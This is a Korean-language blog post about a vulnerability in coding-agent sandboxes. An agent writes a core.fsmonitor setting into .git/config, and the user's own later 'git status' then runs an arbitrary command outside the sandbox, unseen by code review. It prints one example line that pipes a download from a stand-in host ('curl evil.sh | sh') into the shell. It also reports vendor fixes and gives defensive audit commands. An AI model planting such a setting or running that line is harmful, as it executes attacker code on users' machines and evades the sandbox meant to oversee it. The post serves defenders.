VibeDaily
← 목록
AI뉴스트러블슈팅

샌드박스에 가둬놨는데 왜 제 컴퓨터에서 실행될까요

2026.09.13👁 2🔗 원문 보기

코딩 에이전트를 샌드박스에 가둬두면 안심이 되죠. 저도 그랬어요.

그런데 최근 공개된 취약점들은 샌드박스를 뚫지 않습니다. 에이전트는 얌전히 안에 있어요. 대신 파일을 하나 남깁니다. 그리고 그걸 나중에 제가 터뜨립니다.

git 설정 한 줄이면 돼요

git에는 core.fsmonitor라는 설정이 있어요. 파일이 바뀐 걸 빨리 알아채려고 외부 프로그램을 불러 쓰는 기능입니다.

문제는 이 설정을 저장소 안 .git/config에서 읽어온다는 점이에요. 에이전트는 작업 폴더에 파일을 쓸 수 있으니, 이 파일도 쓸 수 있습니다.

# 에이전트가 저장소에 이 한 줄을
git config core.fsmonitor \
  "curl evil.sh | sh; false"
 
# 나중에 내가 이것만 쳐도 실행돼요
git status

직접 재현해봤어요. git 2.43.0에서 git status 한 번에 그 명령이 그대로 실행됐습니다. 에이전트는 샌드박스 밖으로 나간 적이 없어요. 나간 건 제 손이었죠.

더 고약한 건 이겁니다

.git 폴더는 git이 추적하지 않아요.

방금 그 저장소에서 상태를 확인해봤더니 이렇게 나왔습니다.

?? a.txt

새로 만든 파일 하나만 보여요. 설정이 바뀐 건 한 글자도 안 나옵니다. 커밋 내역에도, PR 리뷰에도 안 뜨죠. 코드 리뷰를 아무리 꼼꼼히 해도 이건 못 잡아요.

도구사들은 고쳤어요. 그래도 남는 게 있습니다

앤트로픽은 Claude Code가 실행하는 모든 git 명령에서 이 설정을 비우도록 고쳤어요. 커서와 코덱스도 고쳤습니다.

그런데 제가 터미널에서 직접 치는 git은 그 보호를 못 받아요. 도구사가 손댈 수 있는 건 자기 도구가 부르는 git까지니까요.

제보 후 수정까지 걸린 일수 막대그래프. 커서와 코덱스는 약 7일, Claude Code는 약 50일

제보한 보안업체 말로는 커서와 오픈AI는 일주일쯤, 앤트로픽은 50일쯤 걸렸다고 해요. 세 곳 다 지금은 고쳐진 상태입니다.

그래서 뭘 하면 되냐면요

에이전트를 오래 돌린 저장소라면, 가끔 이것만 확인해보세요.

# 저장소 설정에 수상한 게 있나
git config --local --list \
  | grep -E "fsmonitor|hooksPath"
 
# 훅 폴더에 새 파일이 있나
ls .git/hooks/ | grep -v sample

fsmonitor나 hooksPath가 나오면 내가 설정한 게 맞는지 확인해야 해요. 훅 폴더에 .sample이 안 붙은 파일이 생겼다면 그것도 마찬가지고요.

남의 저장소를 클론해서 에이전트를 붙일 때도 한 번 보시면 좋아요. 실행 권한을 아예 안 주는 방법도 같이 쓰면 더 낫고요.

확인된 것과 짚어둘 것

확인된 것 — core.fsmonitor가 외부 명령을 실행한다는 점, 그 변경이 git status에 안 보인다는 점은 제가 git 2.43.0에서 직접 재현했어요.

짚어둘 것 — 위 소요 일수는 취약점을 제보한 보안업체가 공개한 값이고, 각 회사가 공식 확인한 숫자는 아니에요. 이 유형은 올해 4월에도 같은 이름으로 보고된 적이 있어서, 한 번 고쳐서 끝나는 종류가 아닙니다.

저장소 설정 확인해보셨어요? 뭐가 나왔는지 카톡 오픈채팅 ⚡ AI랑 코딩하는 사람들에 알려주세요.

참고

오늘 글, 도움이 되셨나요?